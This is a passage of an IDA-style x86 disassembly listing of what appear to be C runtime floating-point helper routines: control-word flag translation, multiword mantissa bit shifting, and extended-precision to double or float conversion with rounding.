mov [ebp+var_4], ecx
loc_432177: ; CODE XREF: sub_432070+D3j
; sub_432070+DEj ...
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 300h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_4321B9
cmp [ebp+var_C], 200h
jz short loc_4321AB
cmp [ebp+var_C], 300h
jz short loc_4321A3
jmp short loc_4321C5
; ---------------------------------------------------------------------------
loc_4321A3: ; CODE XREF: sub_432070+12Fj
mov eax, [ebp+var_4]
mov [ebp+var_4], eax
jmp short loc_4321C5
; ---------------------------------------------------------------------------
loc_4321AB: ; CODE XREF: sub_432070+126j
mov ecx, [ebp+var_4]
or ecx, 10000h
mov [ebp+var_4], ecx
jmp short loc_4321C5
; ---------------------------------------------------------------------------
loc_4321B9: ; CODE XREF: sub_432070+11Dj
mov edx, [ebp+var_4]
or edx, 20000h
mov [ebp+var_4], edx
loc_4321C5: ; CODE XREF: sub_432070+131j
; sub_432070+139j ...
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1000h
test eax, eax
jz short loc_4321E2
mov ecx, [ebp+var_4]
or ecx, 40000h
mov [ebp+var_4], ecx
loc_4321E2: ; CODE XREF: sub_432070+164j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_432070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4321F0 proc near ; CODE XREF: sub_431FA0+36p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_432211
mov cx, [ebp+var_4]
or cl, 1
mov [ebp+var_4], cx
loc_432211: ; CODE XREF: sub_4321F0+14j
mov edx, [ebp+arg_0]
and edx, 8
test edx, edx
jz short loc_432225
mov ax, [ebp+var_4]
or al, 4
mov [ebp+var_4], ax
loc_432225: ; CODE XREF: sub_4321F0+29j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_43223A
mov dx, [ebp+var_4]
or dl, 8
mov [ebp+var_4], dx
loc_43223A: ; CODE XREF: sub_4321F0+3Dj
mov eax, [ebp+arg_0]
and eax, 2
test eax, eax
jz short loc_43224F
mov cx, [ebp+var_4]
or cl, 10h
mov [ebp+var_4], cx
loc_43224F: ; CODE XREF: sub_4321F0+52j
mov edx, [ebp+arg_0]
and edx, 1
test edx, edx
jz short loc_432263
mov ax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], ax
loc_432263: ; CODE XREF: sub_4321F0+67j
mov ecx, [ebp+arg_0]
and ecx, 80000h
test ecx, ecx
jz short loc_43227B
mov dx, [ebp+var_4]
or dl, 2
mov [ebp+var_4], dx
loc_43227B: ; CODE XREF: sub_4321F0+7Ej
mov eax, [ebp+arg_0]
and eax, 300h
mov [ebp+var_8], eax
cmp [ebp+var_8], 200h
ja short loc_4322A9
cmp [ebp+var_8], 200h
jz short loc_4322BE
cmp [ebp+var_8], 0
jz short loc_4322B4
cmp [ebp+var_8], 100h
jz short loc_4322CB
jmp short loc_4322E3
; ---------------------------------------------------------------------------
loc_4322A9: ; CODE XREF: sub_4321F0+9Dj
cmp [ebp+var_8], 300h
jz short loc_4322D8
jmp short loc_4322E3
; ---------------------------------------------------------------------------
loc_4322B4: ; CODE XREF: sub_4321F0+ACj
mov cx, [ebp+var_4]
mov [ebp+var_4], cx
jmp short loc_4322E3
; ---------------------------------------------------------------------------
loc_4322BE: ; CODE XREF: sub_4321F0+A6j
mov dx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], dx
jmp short loc_4322E3
; ---------------------------------------------------------------------------
loc_4322CB: ; CODE XREF: sub_4321F0+B5j
mov ax, [ebp+var_4]
or ah, 4
mov [ebp+var_4], ax
jmp short loc_4322E3
; ---------------------------------------------------------------------------
loc_4322D8: ; CODE XREF: sub_4321F0+C0j
mov cx, [ebp+var_4]
or ch, 0Ch
mov [ebp+var_4], cx
loc_4322E3: ; CODE XREF: sub_4321F0+B7j
; sub_4321F0+C2j ...
mov edx, [ebp+arg_0]
and edx, 30000h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_432309
cmp [ebp+var_C], 10000h
jz short loc_432316
cmp [ebp+var_C], 20000h
jz short loc_432323
jmp short loc_43232B
; ---------------------------------------------------------------------------
loc_432309: ; CODE XREF: sub_4321F0+103j
mov ax, [ebp+var_4]
or ah, 3
mov [ebp+var_4], ax
jmp short loc_43232B
; ---------------------------------------------------------------------------
loc_432316: ; CODE XREF: sub_4321F0+10Cj
mov cx, [ebp+var_4]
or ch, 2
mov [ebp+var_4], cx
jmp short loc_43232B
; ---------------------------------------------------------------------------
loc_432323: ; CODE XREF: sub_4321F0+115j
mov dx, [ebp+var_4]
mov [ebp+var_4], dx
loc_43232B: ; CODE XREF: sub_4321F0+117j
; sub_4321F0+124j ...
mov eax, [ebp+arg_0]
and eax, 40000h
test eax, eax
jz short loc_432342
mov cx, [ebp+var_4]
or ch, 10h
mov [ebp+var_4], cx
loc_432342: ; CODE XREF: sub_4321F0+145j
mov ax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4321F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432350 proc near ; CODE XREF: _0:00431F70p _0:00431F91p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_432373
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_432373: ; CODE XREF: sub_432350+18j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_43238B
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_43238B: ; CODE XREF: sub_432350+31j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_4323A4
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_4323A4: ; CODE XREF: sub_432350+49j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_4323BC
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_4323BC: ; CODE XREF: sub_432350+61j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_4323D4
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_4323D4: ; CODE XREF: sub_432350+7Aj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_4323F0
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_4323F0: ; CODE XREF: sub_432350+92j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_432350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432400 proc near ; CODE XREF: sub_432540+70p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_432424
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_432424: ; CODE XREF: sub_432400+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_8]
test edx, edx
jz short loc_43244F
xor eax, eax
jmp short loc_432480
; ---------------------------------------------------------------------------
loc_43244F: ; CODE XREF: sub_432400+49j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_432463
; ---------------------------------------------------------------------------
loc_43245A: ; CODE XREF: sub_432400:loc_432479j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_432463: ; CODE XREF: sub_432400+58j
cmp [ebp+var_C], 3
jge short loc_43247B
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0
jz short loc_432479
xor eax, eax
jmp short loc_432480
; ---------------------------------------------------------------------------
loc_432479: ; CODE XREF: sub_432400+73j
jmp short loc_43245A
; ---------------------------------------------------------------------------
loc_43247B: ; CODE XREF: sub_432400+67j
mov eax, 1
loc_432480: ; CODE XREF: sub_432400+4Dj
; sub_432400+77j
mov esp, ebp
pop ebp
retn
sub_432400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432490 proc near ; CODE XREF: sub_432540+84p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_4324B4
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_4324B4: ; CODE XREF: sub_432490+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
mov edx, 1
mov ecx, [ebp+var_4]
shl edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
push eax
call sub_4360F0
add esp, 0Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
jmp short loc_432502
; ---------------------------------------------------------------------------
loc_4324F9: ; CODE XREF: sub_432490+9Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_432502: ; CODE XREF: sub_432490+67j
cmp [ebp+var_C], 0
jl short loc_432531
cmp [ebp+var_10], 0
jz short loc_432531
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
push 1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
push edx
call sub_4360F0
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_4324F9
; ---------------------------------------------------------------------------
loc_432531: ; CODE XREF: sub_432490+76j
; sub_432490+7Cj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_432490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432540 proc near ; CODE XREF: sub_4327D0+ABp
; sub_4327D0+132p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_14], eax
mov edx, [ebp+var_C]
and edx, 8000001Fh
jns short loc_43257E
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_43257E: ; CODE XREF: sub_432540+37j
mov eax, 1Fh
sub eax, edx
mov [ebp+var_8], eax
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
mov [ebp+var_1C], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_1C]
test edx, edx
jz short loc_4325CF
mov eax, [ebp+var_C]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_432400
add esp, 8
test eax, eax
jnz short loc_4325CF
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_432490
add esp, 8
mov [ebp+var_18], eax
loc_4325CF: ; CODE XREF: sub_432540+63j
; sub_432540+7Aj
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_8]
shl edx, cl
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4]
and eax, edx
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_10], eax
jmp short loc_4325FF
; ---------------------------------------------------------------------------
loc_4325F6: ; CODE XREF: sub_432540+D2j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_4325FF: ; CODE XREF: sub_432540+B4j
cmp [ebp+var_10], 3
jge short loc_432614
mov edx, [ebp+var_10]
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx*4], 0
jmp short loc_4325F6
; ---------------------------------------------------------------------------
loc_432614: ; CODE XREF: sub_432540+C3j
mov eax, [ebp+var_18]
mov esp, ebp
pop ebp
retn
sub_432540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432620 proc near ; CODE XREF: sub_4327D0+98p
; sub_4327D0+10Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_C], 0
jmp short loc_432644
; ---------------------------------------------------------------------------
loc_43263B: ; CODE XREF: sub_432620+46j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_432644: ; CODE XREF: sub_432620+19j
cmp [ebp+var_C], 3
jge short loc_432668
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_43263B
; ---------------------------------------------------------------------------
loc_432668: ; CODE XREF: sub_432620+28j
mov esp, ebp
pop ebp
retn
sub_432620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432670 proc near ; CODE XREF: sub_4327D0+7Cp
; sub_4327D0+D5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_432686
; ---------------------------------------------------------------------------
loc_43267D: ; CODE XREF: sub_432670+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_432686: ; CODE XREF: sub_432670+Bj
cmp [ebp+var_4], 3
jge short loc_43269B
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0
jmp short loc_43267D
; ---------------------------------------------------------------------------
loc_43269B: ; CODE XREF: sub_432670+1Aj
mov esp, ebp
pop ebp
retn
sub_432670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4326A0 proc near ; CODE XREF: sub_4327D0+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_4326B6
; ---------------------------------------------------------------------------
loc_4326AD: ; CODE XREF: sub_4326A0:loc_4326CCj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4326B6: ; CODE XREF: sub_4326A0+Bj
cmp [ebp+var_4], 3
jge short loc_4326CE
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx*4], 0
jz short loc_4326CC
xor eax, eax
jmp short loc_4326D3
; ---------------------------------------------------------------------------
loc_4326CC: ; CODE XREF: sub_4326A0+26j
jmp short loc_4326AD
; ---------------------------------------------------------------------------
loc_4326CE: ; CODE XREF: sub_4326A0+1Aj
mov eax, 1
loc_4326D3: ; CODE XREF: sub_4326A0+2Aj
mov esp, ebp
pop ebp
retn
sub_4326A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4326E0 proc near ; CODE XREF: sub_4327D0+11Fp
; sub_4327D0+148p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_432705
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_432705: ; CODE XREF: sub_4326E0+1Ej
mov [ebp+var_4], eax
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_14], edx
mov [ebp+var_8], 0
mov [ebp+var_C], 0
jmp short loc_43272E
; ---------------------------------------------------------------------------
loc_432725: ; CODE XREF: sub_4326E0+9Fj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_43272E: ; CODE XREF: sub_4326E0+43j
cmp [ebp+var_C], 3
jge short loc_432781
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
and eax, [ebp+var_14]
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
or edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4], edx
mov ecx, 20h
sub ecx, [ebp+var_4]
mov edx, [ebp+var_10]
shl edx, cl
mov [ebp+var_8], edx
jmp short loc_432725
; ---------------------------------------------------------------------------
loc_432781: ; CODE XREF: sub_4326E0+52j
mov [ebp+var_C], 2
jmp short loc_432793
; ---------------------------------------------------------------------------
loc_43278A: ; CODE XREF: sub_4326E0:loc_4327C5j
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_432793: ; CODE XREF: sub_4326E0+A8j
cmp [ebp+var_C], 0
jl short loc_4327C7
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_18]
jl short loc_4327B8
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4]
mov [ecx+eax*4], edx
jmp short loc_4327C5
; ---------------------------------------------------------------------------
loc_4327B8: ; CODE XREF: sub_4326E0+BFj
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4], 0
loc_4327C5: ; CODE XREF: sub_4326E0+D6j
jmp short loc_43278A
; ---------------------------------------------------------------------------
loc_4327C7: ; CODE XREF: sub_4326E0+B7j
pop esi
mov esp, ebp
pop ebp
retn
sub_4326E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4327D0 proc near ; CODE XREF: sub_432A20+10p
; sub_432A40+10p
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
sub ecx, 3FFFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_10], eax
cmp [ebp+var_4], 0FFFFC001h
jnz short loc_432860
mov [ebp+var_8], 0
lea ecx, [ebp+var_18]
push ecx
call sub_4326A0
add esp, 4
test eax, eax
jz short loc_432848
mov [ebp+var_1C], 0
jmp short loc_43285B
; ---------------------------------------------------------------------------
loc_432848: ; CODE XREF: sub_4327D0+6Dj
lea edx, [ebp+var_18]
push edx
call sub_432670
add esp, 4
mov [ebp+var_1C], 2
loc_43285B: ; CODE XREF: sub_4327D0+76j
jmp loc_4329AC
; ---------------------------------------------------------------------------
loc_432860: ; CODE XREF: sub_4327D0+56j
lea eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_30]
push ecx
call sub_432620
add esp, 8
mov edx, [ebp+arg_8]
mov eax, [edx+8]
push eax
lea ecx, [ebp+var_18]
push ecx
call sub_432540
add esp, 8
test eax, eax
jz short loc_432890
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_432890: ; CODE XREF: sub_4327D0+B5j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov edx, [eax+4]
sub edx, [ecx+8]
cmp [ebp+var_4], edx
jge short loc_4328C0
lea eax, [ebp+var_18]
push eax
call sub_432670
add esp, 4
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp loc_4329AC
; ---------------------------------------------------------------------------
loc_4328C0: ; CODE XREF: sub_4327D0+CFj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jg short loc_432930
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, [ebp+var_4]
mov [ebp+var_34], ecx
lea edx, [ebp+var_30]
push edx
lea eax, [ebp+var_18]
push eax
call sub_432620
add esp, 8
mov ecx, [ebp+var_34]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_4326E0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_432540
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+0Ch]
add ecx, 1
push ecx
lea edx, [ebp+var_18]
push edx
call sub_4326E0
add esp, 8
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp short loc_4329AC
; ---------------------------------------------------------------------------
loc_432930: ; CODE XREF: sub_4327D0+F9j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jl short loc_43297B
lea edx, [ebp+var_18]
push edx
call sub_432670
add esp, 4
mov eax, [ebp+var_18]
or eax, 80000000h
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_4326E0
add esp, 8
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_8]
add edx, [eax+14h]
mov [ebp+var_8], edx
mov [ebp+var_1C], 1
jmp short loc_4329AC
; ---------------------------------------------------------------------------
loc_43297B: ; CODE XREF: sub_4327D0+168j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+14h]
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
and eax, 7FFFFFFFh
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_4326E0
add esp, 8
mov [ebp+var_1C], 0
loc_4329AC: ; CODE XREF: sub_4327D0:loc_43285Bj
; sub_4327D0+EBj ...
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, 20h
sub eax, edx
mov [ebp+var_C], eax
mov edx, [ebp+var_8]
mov ecx, [ebp+var_C]
shl edx, cl
mov eax, [ebp+var_18]
or eax, edx
mov ecx, [ebp+var_20]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or eax, ecx
mov [ebp+var_24], eax
mov edx, [ebp+arg_8]
cmp dword ptr [edx+10h], 40h
jnz short loc_4329FA
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_24]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_14]
mov [edx], eax
jmp short loc_432A0B
; ---------------------------------------------------------------------------
loc_4329FA: ; CODE XREF: sub_4327D0+215j
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+10h], 20h
jnz short loc_432A0B
mov edx, [ebp+arg_4]
mov eax, [ebp+var_24]
mov [edx], eax
loc_432A0B: ; CODE XREF: sub_4327D0+228j
; sub_4327D0+231j
mov eax, [ebp+var_1C]
mov esp, ebp
pop ebp
retn
sub_4327D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432A20 proc near ; CODE XREF: sub_432B20+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_454458
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4327D0
add esp, 0Ch
pop ebp
retn
sub_432A20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432A40 proc near ; CODE XREF: sub_432BA0+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_454470
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4327D0
add esp, 0Ch
pop ebp
retn
sub_432A40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432A60 proc near ; CODE XREF: _0:00432B8Ap _0:00436F4Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
mov word ptr [ebp+var_4], cx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_8], eax
push 40h
lea ecx, [ebp+var_10]
push ecx
call sub_432540
add esp, 8
test eax, eax
jz short loc_432AD7
mov [ebp+var_10], 80000000h
mov dx, word ptr [ebp+var_4]
add dx, 1
mov word ptr [ebp+var_4], dx
loc_432AD7: ; CODE XREF: sub_432A60+62j
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp eax, 7FFFh
jnz short loc_432AED
mov [ebp+var_14], 1
loc_432AED: ; CODE XREF: sub_432A60+84j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_4]
and eax, 0FFFFh
or edx, eax
mov ecx, [ebp+arg_4]
mov [ecx+8], dx
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_432A60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432B20 proc near ; CODE XREF: sub_42C640+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_4363F0
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_432A20
add esp, 8
mov esp, ebp
pop ebp
retn
sub_432B20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
lea ecx, [ebp-10h]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_4363F0
add esp, 1Ch
mov eax, [ebp+8]
push eax
lea ecx, [ebp-0Ch]
push ecx
call sub_432A60
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
